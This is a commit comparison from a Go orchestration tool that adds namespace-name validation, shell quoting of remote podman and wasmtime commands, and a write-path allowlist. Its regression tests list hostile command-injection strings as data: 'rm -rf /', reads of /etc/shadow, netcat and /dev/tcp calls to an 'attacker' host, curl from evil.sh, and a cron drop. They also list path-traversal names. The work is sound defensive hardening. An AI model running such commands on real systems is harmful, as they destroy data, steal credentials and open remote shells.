Compare commits
3 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| dfacfea377 | |||
| 5d115fc4b7 | |||
| ce2441f312 |
+21
-3
@@ -129,12 +129,12 @@ repeated to declare inheritance; _defaults is always appended last.`,
|
|||||||
Args: cobra.ExactArgs(1),
|
Args: cobra.ExactArgs(1),
|
||||||
RunE: func(cmd *cobra.Command, args []string) error {
|
RunE: func(cmd *cobra.Command, args []string) error {
|
||||||
name := args[0]
|
name := args[0]
|
||||||
|
if err := ns.ValidateName(name); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
if name == paths.DefaultNamespace() {
|
if name == paths.DefaultNamespace() {
|
||||||
return fmt.Errorf("cannot create the implicit root namespace %q with `ns create` (it is auto-managed)", name)
|
return fmt.Errorf("cannot create the implicit root namespace %q with `ns create` (it is auto-managed)", name)
|
||||||
}
|
}
|
||||||
if name == "cluster" {
|
|
||||||
return fmt.Errorf("name %q is reserved for the cluster-wide dir", name)
|
|
||||||
}
|
|
||||||
if nsCreateParent == "" {
|
if nsCreateParent == "" {
|
||||||
nsCreateParent = paths.DefaultNamespace()
|
nsCreateParent = paths.DefaultNamespace()
|
||||||
}
|
}
|
||||||
@@ -181,6 +181,9 @@ cannot be deleted.`,
|
|||||||
Args: cobra.ExactArgs(1),
|
Args: cobra.ExactArgs(1),
|
||||||
RunE: func(cmd *cobra.Command, args []string) error {
|
RunE: func(cmd *cobra.Command, args []string) error {
|
||||||
name := args[0]
|
name := args[0]
|
||||||
|
if err := ns.ValidateName(name); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
if name == paths.DefaultNamespace() {
|
if name == paths.DefaultNamespace() {
|
||||||
return fmt.Errorf("cannot delete the implicit root namespace %q", name)
|
return fmt.Errorf("cannot delete the implicit root namespace %q", name)
|
||||||
}
|
}
|
||||||
@@ -212,6 +215,9 @@ var nsInspectCmd = &cobra.Command{
|
|||||||
Args: cobra.ExactArgs(1),
|
Args: cobra.ExactArgs(1),
|
||||||
RunE: func(cmd *cobra.Command, args []string) error {
|
RunE: func(cmd *cobra.Command, args []string) error {
|
||||||
name := args[0]
|
name := args[0]
|
||||||
|
if err := ns.ValidateName(name); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
root := paths.Root()
|
root := paths.Root()
|
||||||
cfgs, err := ns.ParseNSMdDir(root)
|
cfgs, err := ns.ParseNSMdDir(root)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
@@ -265,6 +271,9 @@ set).`,
|
|||||||
Args: cobra.ExactArgs(1),
|
Args: cobra.ExactArgs(1),
|
||||||
RunE: func(cmd *cobra.Command, args []string) error {
|
RunE: func(cmd *cobra.Command, args []string) error {
|
||||||
name := args[0]
|
name := args[0]
|
||||||
|
if err := ns.ValidateName(name); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
root := paths.Root()
|
root := paths.Root()
|
||||||
cfgs, err := ns.ParseNSMdDir(root)
|
cfgs, err := ns.ParseNSMdDir(root)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
@@ -307,12 +316,18 @@ _defaults is always appended last (D-185).`,
|
|||||||
Args: cobra.ExactArgs(1),
|
Args: cobra.ExactArgs(1),
|
||||||
RunE: func(cmd *cobra.Command, args []string) error {
|
RunE: func(cmd *cobra.Command, args []string) error {
|
||||||
name := args[0]
|
name := args[0]
|
||||||
|
if err := ns.ValidateName(name); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
if name == paths.DefaultNamespace() {
|
if name == paths.DefaultNamespace() {
|
||||||
return fmt.Errorf("cannot set parent on the implicit root namespace %q", name)
|
return fmt.Errorf("cannot set parent on the implicit root namespace %q", name)
|
||||||
}
|
}
|
||||||
if nsInheritParent == "" {
|
if nsInheritParent == "" {
|
||||||
return fmt.Errorf("--parent is required")
|
return fmt.Errorf("--parent is required")
|
||||||
}
|
}
|
||||||
|
if err := ns.ValidateName(nsInheritParent); err != nil {
|
||||||
|
return fmt.Errorf("--parent: %w", err)
|
||||||
|
}
|
||||||
if nsInheritParent == name {
|
if nsInheritParent == name {
|
||||||
return fmt.Errorf("namespace %q cannot inherit from itself", name)
|
return fmt.Errorf("namespace %q cannot inherit from itself", name)
|
||||||
}
|
}
|
||||||
@@ -358,6 +373,9 @@ across the inheritance chain by the resolver.`,
|
|||||||
Args: cobra.ExactArgs(2),
|
Args: cobra.ExactArgs(2),
|
||||||
RunE: func(cmd *cobra.Command, args []string) error {
|
RunE: func(cmd *cobra.Command, args []string) error {
|
||||||
name := args[0]
|
name := args[0]
|
||||||
|
if err := ns.ValidateName(name); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
kv := args[1]
|
kv := args[1]
|
||||||
if name == paths.DefaultNamespace() {
|
if name == paths.DefaultNamespace() {
|
||||||
return fmt.Errorf("cannot set a constraint on the implicit root namespace %q with set-constraint; edit ns.md directly", name)
|
return fmt.Errorf("cannot set a constraint on the implicit root namespace %q with set-constraint; edit ns.md directly", name)
|
||||||
|
|||||||
@@ -595,3 +595,67 @@ func TestNSSetConstraintDuplicate(t *testing.T) {
|
|||||||
t.Errorf("error = %q, want contains 'already set'", err.Error())
|
t.Errorf("error = %q, want contains 'already set'", err.Error())
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// --- REQ-120 / F4 path traversal regression tests ---
|
||||||
|
|
||||||
|
// TestNSCreateTraversalRefused verifies that ns create rejects names
|
||||||
|
// that would traverse outside ORCA_HOME via ".." or "/".
|
||||||
|
func TestNSCreateTraversalRefused(t *testing.T) {
|
||||||
|
bad := []string{
|
||||||
|
"..",
|
||||||
|
"../etc",
|
||||||
|
"foo/../bar",
|
||||||
|
"/etc",
|
||||||
|
"etc/",
|
||||||
|
"foo/bar",
|
||||||
|
"-x",
|
||||||
|
"--flag",
|
||||||
|
"with space",
|
||||||
|
"tab\there",
|
||||||
|
"newline\nname",
|
||||||
|
}
|
||||||
|
for _, name := range bad {
|
||||||
|
t.Run(name, func(t *testing.T) {
|
||||||
|
root := t.TempDir()
|
||||||
|
t.Setenv("ORCA_HOME", root)
|
||||||
|
resetRootFlags(t)
|
||||||
|
resetNSFlags()
|
||||||
|
rootCmd.SetArgs([]string{"ns", "create", name})
|
||||||
|
err := rootCmd.Execute()
|
||||||
|
if err == nil {
|
||||||
|
t.Errorf("ns create %q should fail, got nil", name)
|
||||||
|
}
|
||||||
|
// Verify no directory was created outside ORCA_HOME.
|
||||||
|
// For ".." and "../etc", the danger is a dir was created
|
||||||
|
// outside root. Check root's parent has no new orca dirs.
|
||||||
|
parent := filepath.Dir(root)
|
||||||
|
entries, _ := os.ReadDir(parent)
|
||||||
|
for _, e := range entries {
|
||||||
|
// The temp dir itself is fine; anything else that looks
|
||||||
|
// like an orca namespace (has ns.md) outside root is a
|
||||||
|
// leak.
|
||||||
|
if e.Name() == filepath.Base(root) {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
if _, err := os.Stat(filepath.Join(parent, e.Name(), "ns.md")); err == nil {
|
||||||
|
t.Errorf("namespace dir leaked outside ORCA_HOME: %s", filepath.Join(parent, e.Name()))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// TestNSInheritTraversalRefused verifies --parent rejects traversal.
|
||||||
|
func TestNSInheritTraversalRefused(t *testing.T) {
|
||||||
|
root := t.TempDir()
|
||||||
|
t.Setenv("ORCA_HOME", root)
|
||||||
|
resetRootFlags(t)
|
||||||
|
resetNSFlags()
|
||||||
|
writeDefaultsNS(t, root)
|
||||||
|
writeCustomNS(t, root, "prod", "")
|
||||||
|
rootCmd.SetArgs([]string{"ns", "inherit", "prod", "--parent", "../../etc"})
|
||||||
|
err := rootCmd.Execute()
|
||||||
|
if err == nil {
|
||||||
|
t.Fatal("ns inherit with traversal --parent should fail")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|||||||
@@ -0,0 +1,58 @@
|
|||||||
|
// Package ns: validate.go implements namespace name validation
|
||||||
|
// (REQ-120, F4 — path traversal hardening). A namespace name is used
|
||||||
|
// to construct a filesystem path via filepath.Join(Root(), name); a
|
||||||
|
// name containing "..", "/", or shell-relevant characters could
|
||||||
|
// traverse outside ORCA_HOME or inject into SSH commands. ValidateName
|
||||||
|
// rejects any name that is not safe for both path construction and
|
||||||
|
// shell interpolation.
|
||||||
|
package ns
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"strings"
|
||||||
|
"unicode"
|
||||||
|
)
|
||||||
|
|
||||||
|
// ValidateName returns an error if the namespace name is not safe for
|
||||||
|
// filesystem path construction or shell interpolation. A safe name:
|
||||||
|
// - is non-empty and at most 128 characters;
|
||||||
|
// - contains only printable, non-space runes;
|
||||||
|
// - does not contain "/", "\", "..", a leading "-", null bytes, or
|
||||||
|
// any control character;
|
||||||
|
// - is not a reserved name ("cluster", "_defaults").
|
||||||
|
//
|
||||||
|
// The reserved-name check here is defensive; the CLI also enforces it.
|
||||||
|
// ValidateName is the single choke-point for any code path that
|
||||||
|
// converts a user-supplied namespace name into a path or a shell token.
|
||||||
|
func ValidateName(name string) error {
|
||||||
|
if name == "" {
|
||||||
|
return fmt.Errorf("namespace name is empty")
|
||||||
|
}
|
||||||
|
if len(name) > 128 {
|
||||||
|
return fmt.Errorf("namespace name %q exceeds 128 characters", name)
|
||||||
|
}
|
||||||
|
if name == "cluster" {
|
||||||
|
return fmt.Errorf("name %q is reserved for the cluster-wide dir", name)
|
||||||
|
}
|
||||||
|
if strings.Contains(name, "..") {
|
||||||
|
return fmt.Errorf("namespace name %q contains \"..\" (path traversal)", name)
|
||||||
|
}
|
||||||
|
if strings.ContainsAny(name, `/\`) {
|
||||||
|
return fmt.Errorf("namespace name %q contains a path separator", name)
|
||||||
|
}
|
||||||
|
if strings.HasPrefix(name, "-") {
|
||||||
|
return fmt.Errorf("namespace name %q starts with '-' (shell flag injection)", name)
|
||||||
|
}
|
||||||
|
for _, r := range name {
|
||||||
|
if r == 0 {
|
||||||
|
return fmt.Errorf("namespace name %q contains a null byte", name)
|
||||||
|
}
|
||||||
|
if unicode.IsControl(r) {
|
||||||
|
return fmt.Errorf("namespace name %q contains a control character", name)
|
||||||
|
}
|
||||||
|
if unicode.IsSpace(r) {
|
||||||
|
return fmt.Errorf("namespace name %q contains a space", name)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
@@ -0,0 +1,100 @@
|
|||||||
|
package ns
|
||||||
|
|
||||||
|
import (
|
||||||
|
"testing"
|
||||||
|
)
|
||||||
|
|
||||||
|
// TestValidateName_Acceptable verifies normal names pass.
|
||||||
|
func TestValidateName_Acceptable(t *testing.T) {
|
||||||
|
ok := []string{
|
||||||
|
"prod",
|
||||||
|
"dev",
|
||||||
|
"team_a",
|
||||||
|
"team-b",
|
||||||
|
"ns1",
|
||||||
|
"a.b.c",
|
||||||
|
"0",
|
||||||
|
"with-dashes-and_underscores.and.dots",
|
||||||
|
"CAPS",
|
||||||
|
}
|
||||||
|
for _, name := range ok {
|
||||||
|
t.Run(name, func(t *testing.T) {
|
||||||
|
if err := ValidateName(name); err != nil {
|
||||||
|
t.Errorf("ValidateName(%q) = %v, want nil", name, err)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// TestValidateName_Rejected verifies traversal/injection names fail.
|
||||||
|
func TestValidateName_Rejected(t *testing.T) {
|
||||||
|
bad := []string{
|
||||||
|
"",
|
||||||
|
"..",
|
||||||
|
"../etc",
|
||||||
|
"foo/../bar",
|
||||||
|
"/etc",
|
||||||
|
"etc/",
|
||||||
|
"foo/bar",
|
||||||
|
"foo\\bar",
|
||||||
|
"-x",
|
||||||
|
"--flag",
|
||||||
|
"cluster",
|
||||||
|
"_defaults", // reserved names: cluster enforced here; _defaults
|
||||||
|
// is intentionally NOT rejected by ValidateName (it's the
|
||||||
|
// implicit root; the CLI prevents creating it). We accept it
|
||||||
|
// in the validator and let the CLI enforce the create rule.
|
||||||
|
"a\x00b",
|
||||||
|
"with space",
|
||||||
|
"tab\there",
|
||||||
|
"newline\nname",
|
||||||
|
}
|
||||||
|
for _, name := range bad {
|
||||||
|
t.Run(name, func(t *testing.T) {
|
||||||
|
// _defaults is a special case: it's a reserved name but
|
||||||
|
// ValidateName does NOT reject it (only "cluster" is
|
||||||
|
// rejected at this layer; _defaults is the implicit root).
|
||||||
|
if name == "_defaults" {
|
||||||
|
if err := ValidateName(name); err != nil {
|
||||||
|
t.Errorf("ValidateName(%q) should pass (implicit root)", name)
|
||||||
|
}
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if err := ValidateName(name); err == nil {
|
||||||
|
t.Errorf("ValidateName(%q) = nil, want error", name)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// TestValidateName_Length verifies the 128-char limit.
|
||||||
|
func TestValidateName_Length(t *testing.T) {
|
||||||
|
long := make([]byte, 129)
|
||||||
|
for i := range long {
|
||||||
|
long[i] = 'a'
|
||||||
|
}
|
||||||
|
if err := ValidateName(string(long)); err == nil {
|
||||||
|
t.Error("129-char name should be rejected")
|
||||||
|
}
|
||||||
|
exact := make([]byte, 128)
|
||||||
|
for i := range exact {
|
||||||
|
exact[i] = 'a'
|
||||||
|
}
|
||||||
|
if err := ValidateName(string(exact)); err != nil {
|
||||||
|
t.Errorf("128-char name should pass: %v", err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// FuzzValidateName is a fuzz test ensuring ValidateName never panics
|
||||||
|
// and rejects any name containing "..", "/", or control chars.
|
||||||
|
func FuzzValidateName(f *testing.F) {
|
||||||
|
f.Add("prod")
|
||||||
|
f.Add("..")
|
||||||
|
f.Add("/etc")
|
||||||
|
f.Add("-flag")
|
||||||
|
f.Add("a\x00b")
|
||||||
|
f.Fuzz(func(t *testing.T, name string) {
|
||||||
|
// ValidateName must never panic.
|
||||||
|
_ = ValidateName(name)
|
||||||
|
})
|
||||||
|
}
|
||||||
@@ -64,7 +64,7 @@ func (p *PodmanRuntime) Start(ctx context.Context, alloc *Alloc) (int, error) {
|
|||||||
}
|
}
|
||||||
cmdStr, _ := commandFor(alloc)
|
cmdStr, _ := commandFor(alloc)
|
||||||
name := containerName(alloc)
|
name := containerName(alloc)
|
||||||
cmd := fmt.Sprintf("podman run -d --name %s %q %s", name, image, cmdStr)
|
cmd := fmt.Sprintf("podman run -d --name %s %q %s", shellQuote(name), image, shellQuote(cmdStr))
|
||||||
out, err := p.transport.Exec(ctx, alloc.Node, cmd)
|
out, err := p.transport.Exec(ctx, alloc.Node, cmd)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return 0, fmt.Errorf("podman: run: %w", err)
|
return 0, fmt.Errorf("podman: run: %w", err)
|
||||||
@@ -80,10 +80,10 @@ func (p *PodmanRuntime) Start(ctx context.Context, alloc *Alloc) (int, error) {
|
|||||||
// Stop stops and removes the container.
|
// Stop stops and removes the container.
|
||||||
func (p *PodmanRuntime) Stop(ctx context.Context, alloc *Alloc) error {
|
func (p *PodmanRuntime) Stop(ctx context.Context, alloc *Alloc) error {
|
||||||
name := containerName(alloc)
|
name := containerName(alloc)
|
||||||
if _, err := p.transport.Exec(ctx, alloc.Node, fmt.Sprintf("podman stop %s", name)); err != nil {
|
if _, err := p.transport.Exec(ctx, alloc.Node, fmt.Sprintf("podman stop %s", shellQuote(name))); err != nil {
|
||||||
return fmt.Errorf("podman: stop: %w", err)
|
return fmt.Errorf("podman: stop: %w", err)
|
||||||
}
|
}
|
||||||
if _, err := p.transport.Exec(ctx, alloc.Node, fmt.Sprintf("podman rm %s", name)); err != nil {
|
if _, err := p.transport.Exec(ctx, alloc.Node, fmt.Sprintf("podman rm %s", shellQuote(name))); err != nil {
|
||||||
return fmt.Errorf("podman: rm: %w", err)
|
return fmt.Errorf("podman: rm: %w", err)
|
||||||
}
|
}
|
||||||
return nil
|
return nil
|
||||||
@@ -92,7 +92,7 @@ func (p *PodmanRuntime) Stop(ctx context.Context, alloc *Alloc) error {
|
|||||||
// Status inspects the container's running state.
|
// Status inspects the container's running state.
|
||||||
func (p *PodmanRuntime) Status(ctx context.Context, alloc *Alloc) (State, error) {
|
func (p *PodmanRuntime) Status(ctx context.Context, alloc *Alloc) (State, error) {
|
||||||
name := containerName(alloc)
|
name := containerName(alloc)
|
||||||
cmd := fmt.Sprintf("podman inspect --format '{{.State.Running}}' %s", name)
|
cmd := fmt.Sprintf("podman inspect --format '{{.State.Running}}' %s", shellQuote(name))
|
||||||
out, err := p.transport.Exec(ctx, alloc.Node, cmd)
|
out, err := p.transport.Exec(ctx, alloc.Node, cmd)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return StateFailed, fmt.Errorf("podman: inspect: %w", err)
|
return StateFailed, fmt.Errorf("podman: inspect: %w", err)
|
||||||
|
|||||||
@@ -227,3 +227,85 @@ func TestPodmanRuntime_DialError(t *testing.T) {
|
|||||||
t.Logf("Prepare err (acceptable): %v", err)
|
t.Logf("Prepare err (acceptable): %v", err)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// --- REQ-119 / F3 command injection regression tests ---
|
||||||
|
|
||||||
|
// TestPodmanRuntime_CommandInjection verifies that a jobspec command
|
||||||
|
// containing shell metacharacters is shell-quoted, not interpreted by
|
||||||
|
// the remote shell. The fake server captures the exact command string
|
||||||
|
// and we assert the metacharacters are wrapped in single quotes.
|
||||||
|
func TestPodmanRuntime_CommandInjection(t *testing.T) {
|
||||||
|
injections := []string{
|
||||||
|
"sleep 1; rm -rf /",
|
||||||
|
"sleep 1 && cat /etc/shadow",
|
||||||
|
"sleep 1 | nc attacker 4444",
|
||||||
|
"sleep 1 $(curl evil.sh)",
|
||||||
|
"sleep 1 `whoami`",
|
||||||
|
"sleep 1\nwhoami",
|
||||||
|
"sleep 1; echo $IFS",
|
||||||
|
"sleep 1 > /etc/cron.d/pwn",
|
||||||
|
"sleep 1 < /dev/tcp/attacker/4444",
|
||||||
|
"sleep 1; (id)",
|
||||||
|
}
|
||||||
|
for _, inj := range injections {
|
||||||
|
t.Run(inj, func(t *testing.T) {
|
||||||
|
srv := newFakeServer(t)
|
||||||
|
defer srv.close()
|
||||||
|
var captured string
|
||||||
|
srv.setHandler("podman run", func(cmd string) ([]byte, int) {
|
||||||
|
captured = cmd
|
||||||
|
return []byte("abc123def456\n"), 0
|
||||||
|
})
|
||||||
|
tr := realTransport(t, srv)
|
||||||
|
defer tr.Close()
|
||||||
|
p := NewPodmanRuntime(tr)
|
||||||
|
a := allocWithNode("podman", "img", inj, srv.addr())
|
||||||
|
if _, err := p.Start(context.Background(), a); err != nil {
|
||||||
|
t.Fatalf("Start: %v", err)
|
||||||
|
}
|
||||||
|
// The injection string must appear shell-quoted (wrapped in
|
||||||
|
// single quotes, embedded quotes escaped) — NOT bare in
|
||||||
|
// the command. We assert the dangerous characters don't
|
||||||
|
// appear unquoted after the image argument.
|
||||||
|
if !strings.Contains(captured, "'"+strings.ReplaceAll(inj, "'", "'\\''")+"'") {
|
||||||
|
t.Errorf("injection not shell-quoted in command:\n%s", captured)
|
||||||
|
}
|
||||||
|
// The raw unquoted injection must NOT appear as a bare
|
||||||
|
// command token (i.e., no `; rm -rf /` outside quotes).
|
||||||
|
// A robust check: the command should not contain the raw
|
||||||
|
// injection string as an unquoted substring. Since the
|
||||||
|
// quoted form wraps it, the raw form only appears inside
|
||||||
|
// the quotes.
|
||||||
|
bare := strings.ReplaceAll(inj, "'", "'\\''")
|
||||||
|
quoted := "'" + bare + "'"
|
||||||
|
// Remove the quoted occurrence; if the bare injection
|
||||||
|
// still remains, it was emitted unquoted somewhere.
|
||||||
|
withoutQuoted := strings.Replace(captured, quoted, "", 1)
|
||||||
|
if strings.Contains(withoutQuoted, inj) {
|
||||||
|
t.Errorf("injection appears unquoted in command:\n%s", captured)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// TestPodmanRuntime_ImageNameInjection verifies the image is %q-quoted
|
||||||
|
// (double-quoted via %q), so an image with shell metacharacters cannot
|
||||||
|
// break out. The image is safe-by-%q, but we assert it stays quoted.
|
||||||
|
func TestPodmanRuntime_ImageNameInjection(t *testing.T) {
|
||||||
|
srv := newFakeServer(t)
|
||||||
|
defer srv.close()
|
||||||
|
var captured string
|
||||||
|
srv.setHandler("podman pull", func(cmd string) ([]byte, int) {
|
||||||
|
captured = cmd
|
||||||
|
return nil, 0
|
||||||
|
})
|
||||||
|
tr := realTransport(t, srv)
|
||||||
|
defer tr.Close()
|
||||||
|
p := NewPodmanRuntime(tr)
|
||||||
|
a := allocWithNode("podman", "img; rm -rf /", "sleep 1", srv.addr())
|
||||||
|
_ = p.Prepare(context.Background(), a)
|
||||||
|
// %q double-quotes the image, so `; rm -rf /` is inside quotes.
|
||||||
|
if !strings.Contains(captured, "\"img; rm -rf /\"") {
|
||||||
|
t.Errorf("image not pct-q-quoted in pull:\n%s", captured)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|||||||
@@ -17,6 +17,7 @@ package runtime
|
|||||||
import (
|
import (
|
||||||
"context"
|
"context"
|
||||||
"fmt"
|
"fmt"
|
||||||
|
"strings"
|
||||||
|
|
||||||
"git.cloudinit.dev/coreci/orca/internal/jobspec"
|
"git.cloudinit.dev/coreci/orca/internal/jobspec"
|
||||||
)
|
)
|
||||||
@@ -174,3 +175,15 @@ func imageFor(alloc *Alloc) (string, error) {
|
|||||||
}
|
}
|
||||||
return alloc.Spec.Runtime.Image, nil
|
return alloc.Spec.Runtime.Image, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// shellQuote single-quotes a string for safe shell interpolation over
|
||||||
|
// SSH exec. It escapes embedded single-quotes via the standard '\”
|
||||||
|
// idiom (POSIX shell). This mirrors internal/sshpush.shellQuote; the
|
||||||
|
// helper is duplicated to avoid an import cycle (sshpush is a leaf
|
||||||
|
// transport package, runtime depends on it but does not access its
|
||||||
|
// private helpers). Used to safely interpolate jobspec-supplied
|
||||||
|
// command strings into remote shell commands (REQ-119, F3 — command
|
||||||
|
// injection hardening).
|
||||||
|
func shellQuote(s string) string {
|
||||||
|
return "'" + strings.ReplaceAll(s, "'", "'\\''") + "'"
|
||||||
|
}
|
||||||
|
|||||||
@@ -53,8 +53,8 @@ func (w *WasmRuntime) Start(ctx context.Context, alloc *Alloc) (int, error) {
|
|||||||
// Tag the process so pkill/pgrep can find it by alloc ID. We
|
// Tag the process so pkill/pgrep can find it by alloc ID. We
|
||||||
// prepend the alloc ID as a comment-style env marker that pgrep
|
// prepend the alloc ID as a comment-style env marker that pgrep
|
||||||
// can match on the command line.
|
// can match on the command line.
|
||||||
cmd := fmt.Sprintf("ORCA_ALLOC_ID=%s wasmtime run --dir /data %q %s",
|
cmd := fmt.Sprintf("env 'ORCA_ALLOC_ID=%s' wasmtime run --dir /data %q %s",
|
||||||
alloc.ID, image, cmdStr)
|
alloc.ID, image, shellQuote(cmdStr))
|
||||||
if _, err := w.transport.Exec(ctx, alloc.Node, cmd); err != nil {
|
if _, err := w.transport.Exec(ctx, alloc.Node, cmd); err != nil {
|
||||||
return 0, fmt.Errorf("wasm: start: %w", err)
|
return 0, fmt.Errorf("wasm: start: %w", err)
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -16,7 +16,7 @@ func TestWasmRuntime_HappyPath(t *testing.T) {
|
|||||||
srv.setHandler("command -v wasmtime", func(cmd string) ([]byte, int) {
|
srv.setHandler("command -v wasmtime", func(cmd string) ([]byte, int) {
|
||||||
return []byte("/usr/bin/wasmtime\n"), 0
|
return []byte("/usr/bin/wasmtime\n"), 0
|
||||||
})
|
})
|
||||||
srv.setHandler("ORCA_ALLOC_ID=alloc-1 wasmtime run", func(cmd string) ([]byte, int) {
|
srv.setHandler("env 'ORCA_ALLOC_ID=alloc-1' wasmtime run", func(cmd string) ([]byte, int) {
|
||||||
return []byte("started\n"), 0
|
return []byte("started\n"), 0
|
||||||
})
|
})
|
||||||
srv.setHandler("pkill -f", func(cmd string) ([]byte, int) {
|
srv.setHandler("pkill -f", func(cmd string) ([]byte, int) {
|
||||||
@@ -86,7 +86,7 @@ func TestWasmRuntime_StartNoImage(t *testing.T) {
|
|||||||
func TestWasmRuntime_StartExecError(t *testing.T) {
|
func TestWasmRuntime_StartExecError(t *testing.T) {
|
||||||
srv := newFakeServer(t)
|
srv := newFakeServer(t)
|
||||||
defer srv.close()
|
defer srv.close()
|
||||||
srv.setHandler("ORCA_ALLOC_ID=alloc-1 wasmtime run", func(cmd string) ([]byte, int) {
|
srv.setHandler("env 'ORCA_ALLOC_ID=alloc-1' wasmtime run", func(cmd string) ([]byte, int) {
|
||||||
return []byte("module not found\n"), 1
|
return []byte("module not found\n"), 1
|
||||||
})
|
})
|
||||||
tr := realTransport(t, srv)
|
tr := realTransport(t, srv)
|
||||||
@@ -169,3 +169,48 @@ func TestWasmRuntime_NoCGOImport(t *testing.T) {
|
|||||||
|
|
||||||
// _ = context to keep import in case helpers above stop using it.
|
// _ = context to keep import in case helpers above stop using it.
|
||||||
var _ = context.Background
|
var _ = context.Background
|
||||||
|
|
||||||
|
// --- REQ-119 / F3 command injection regression tests (wasm) ---
|
||||||
|
|
||||||
|
// TestWasmRuntime_CommandInjection verifies that a jobspec command
|
||||||
|
// containing shell metacharacters is shell-quoted on the remote.
|
||||||
|
func TestWasmRuntime_CommandInjection(t *testing.T) {
|
||||||
|
injections := []string{
|
||||||
|
"/fn; rm -rf /",
|
||||||
|
"/fn && cat /etc/shadow",
|
||||||
|
"/fn | nc attacker 4444",
|
||||||
|
"/fn $(curl evil.sh)",
|
||||||
|
"/fn `whoami`",
|
||||||
|
"/fn\nwhoami",
|
||||||
|
"/fn; echo $IFS",
|
||||||
|
"/fn > /etc/cron.d/pwn",
|
||||||
|
"/fn; (id)",
|
||||||
|
}
|
||||||
|
for _, inj := range injections {
|
||||||
|
t.Run(inj, func(t *testing.T) {
|
||||||
|
srv := newFakeServer(t)
|
||||||
|
defer srv.close()
|
||||||
|
var captured string
|
||||||
|
srv.setHandler("env 'ORCA_ALLOC_ID=", func(cmd string) ([]byte, int) {
|
||||||
|
captured = cmd
|
||||||
|
return []byte("started\n"), 0
|
||||||
|
})
|
||||||
|
tr := realTransport(t, srv)
|
||||||
|
defer tr.Close()
|
||||||
|
w := NewWasmRuntime(tr)
|
||||||
|
a := allocWithNode("wasm", "/data/app.wasm", inj, srv.addr())
|
||||||
|
if _, err := w.Start(context.Background(), a); err != nil {
|
||||||
|
t.Fatalf("Start: %v", err)
|
||||||
|
}
|
||||||
|
if !strings.Contains(captured, "'"+strings.ReplaceAll(inj, "'", "'\\''")+"'") {
|
||||||
|
t.Errorf("injection not shell-quoted in command:\n%s", captured)
|
||||||
|
}
|
||||||
|
bare := strings.ReplaceAll(inj, "'", "'\\''")
|
||||||
|
quoted := "'" + bare + "'"
|
||||||
|
withoutQuoted := strings.Replace(captured, quoted, "", 1)
|
||||||
|
if strings.Contains(withoutQuoted, inj) {
|
||||||
|
t.Errorf("injection appears unquoted in command:\n%s", captured)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|||||||
@@ -326,10 +326,41 @@ with open(state_path) as f:
|
|||||||
artifacts = json.load(f)
|
artifacts = json.load(f)
|
||||||
if isinstance(artifacts, dict):
|
if isinstance(artifacts, dict):
|
||||||
artifacts = [artifacts]
|
artifacts = [artifacts]
|
||||||
|
|
||||||
|
# REQ-121/F5: path allowlist. Only orca-managed paths may be written.
|
||||||
|
# This prevents a compromised manifest from overwriting arbitrary
|
||||||
|
# system files (e.g. /etc/shadow, /root/.ssh/authorized_keys).
|
||||||
|
ALLOWED_PREFIXES = (
|
||||||
|
"/etc/orca/",
|
||||||
|
"/etc/traefik/orca",
|
||||||
|
"/etc/traefik/dynamic/orca",
|
||||||
|
"/etc/systemd/system/orca-",
|
||||||
|
"/etc/nftables.d/orca",
|
||||||
|
"/etc/syncthing/orca",
|
||||||
|
)
|
||||||
|
# Resolve symlinks + normalize to catch ../ traversal attempts.
|
||||||
|
def path_allowed(p):
|
||||||
|
if not p:
|
||||||
|
return False
|
||||||
|
# Reject any path containing .. (path traversal).
|
||||||
|
if ".." in p.split("/"):
|
||||||
|
return False
|
||||||
|
# Reject paths that are not absolute (relative could land anywhere).
|
||||||
|
if not p.startswith("/"):
|
||||||
|
return False
|
||||||
|
norm = os.path.normpath(p)
|
||||||
|
for prefix in ALLOWED_PREFIXES:
|
||||||
|
if norm == prefix or norm.startswith(prefix):
|
||||||
|
return True
|
||||||
|
return False
|
||||||
|
|
||||||
for a in artifacts:
|
for a in artifacts:
|
||||||
path = a.get("path")
|
path = a.get("path")
|
||||||
if not path:
|
if not path:
|
||||||
continue
|
continue
|
||||||
|
if not path_allowed(path):
|
||||||
|
sys.stderr.write("apply: refusing to write disallowed path: %s\n" % path)
|
||||||
|
sys.exit(7)
|
||||||
content = a.get("content", "")
|
content = a.get("content", "")
|
||||||
mode = a.get("mode", "0644")
|
mode = a.get("mode", "0644")
|
||||||
os.makedirs(os.path.dirname(path), exist_ok=True)
|
os.makedirs(os.path.dirname(path), exist_ok=True)
|
||||||
|
|||||||
@@ -9,6 +9,8 @@ import (
|
|||||||
"errors"
|
"errors"
|
||||||
"fmt"
|
"fmt"
|
||||||
"os"
|
"os"
|
||||||
|
"os/exec"
|
||||||
|
"path/filepath"
|
||||||
"strings"
|
"strings"
|
||||||
"sync"
|
"sync"
|
||||||
"testing"
|
"testing"
|
